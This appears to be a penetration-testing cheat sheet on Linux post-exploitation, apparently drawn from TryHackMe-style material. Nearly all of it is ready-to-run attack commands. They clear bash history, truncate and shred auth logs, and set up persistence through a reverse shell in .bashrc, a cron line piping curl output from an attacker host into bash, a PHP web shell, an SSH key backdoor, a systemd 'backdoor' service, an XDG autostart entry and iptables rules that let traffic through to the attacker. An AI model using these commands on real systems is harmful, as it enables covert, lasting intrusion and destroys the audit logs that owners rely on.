Post Exploitation
Cover Your Tracks & Remain Undetected
Clear History
unset HISTORY
echo '' > ~/.bash_history
echo '' > /root/.bash_history
history -c
export HISTSIZE=0
unset HISTFILEClear Logs
# Shrink the size of log files with `truncate -s 0`
truncate -s 0 /var/log/auth.log
echo '' > /var/log/auth.log
cat /dev/null > /var/log/auth.log
> /var/log/auth.log
dd if=/dev/null of=/var/log/auth.log
shred /var/log/auth.logPersistence
.bashrc
Add this line to /root/.bashrc or /home/<user>/.bashrc to gain access to target machine by reverse shell when the victim user logged in.
bash -i >& /dev/tcp/10.0.0.1/4444Cron
Add the following line to the cron file like /etc/crontab in the target machine.
Replace 10.0.0.1 with your ip address.
* * * * * root curl http://10.0.0.1/shell | bashHost a shell and start you listener
#!/bin/bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1Now start local web server and listener in each terminal in local machine.
sudo python3 -m http.server 80
nc -lvnp 4444PHP
1. Create a Payload
Create a php file (e.g. shell.php) into /var/www/html.
<?php
if (isset($_REQUEST['cmd'])) {
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>Navigate to the file
http://<target-ip>/shell.php?cmd=bach -i >& /dev/tcp/<local-ip>/4444 0>&1SSH
We can establish a backdoor to allow us to be able to connect the target SSH server anytime by leaving our public key in the target machine.
1. Generate a New SSH key
First off, run the following command to generate SSH key.
ssh-keygenIt will generate two keys, private key (id_rsa) and public key (id_rsa.pub).
2. On the target host add you public IP
echo "<content-id_rsa.pub>" >> authorized_keysSystemd
We can use systemd as a backdoor because an arbitrary command will be executed when a service start.
The command is stored in [Services] section in the configuration file.
1. Create a New Systemd Config File
Create /etc/systemd/system/backdoor.service in target machine.
This service will execute reverse shell when starting.
[UNIT]
Description=Backdoor
[Service]
Type=simple
ExecStart=/bin/bash -i >& /dev/tcp/<local-ip>/4444 0>&1
[Install]
WantedBy=multi-user.targetThen enable the service.
systemctl enable backdoorNow this service will start when the target system boots.
2. Wait for Reverse Connecting
We need to leave the netcat listener running in local machine.
nc -lvnp 4444Then we'll get a shell anytime the service starts.
XDG Autostart
Reference: TryHackMe
Autostart is also used for persistence. First create a $HOME/.config/autostart directory if it does not exist and create a new file with arbitrary name as below:
mkdir -p /home/<user>/.config/autostart
touch /home/<user>/.config/autostart/evil.desktopThen write a malicious code in this file:
# /home/<users>/.config/autostart/evil.desktop
[Desktop Entry]
Type=Application
Name=Test
Exec=/bin/bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"After that, the command at the Exec field will be executed when the target user logs in.
We need to keep opening a listener in attack machine for receiving incoming connection:
nc -lvnp 4444
Option: Firewall Bypass
If the target system applies firewall for preventing communications with external systems, we may bypass the settings by manipulating them. It requires root privilege.
# List the iptables settings
iptables --list
# ACCEPT: TARGET => ATTACKER
# OUTPUT 1: The first rule of the OUTPUT chain.
# -d: Destination address
iptables -I OUTPUT 1 -p tcp -d <attacker-ip> -j ACCEPT
# ACCEPT: TARGET <= ATTACKER
# INPUT 1: The first rule of the INPUT chain.
# -s: Source address
iptables -I INPUT 1 -p tcp -s <attacker-ip> -j ACCEPT
Last updated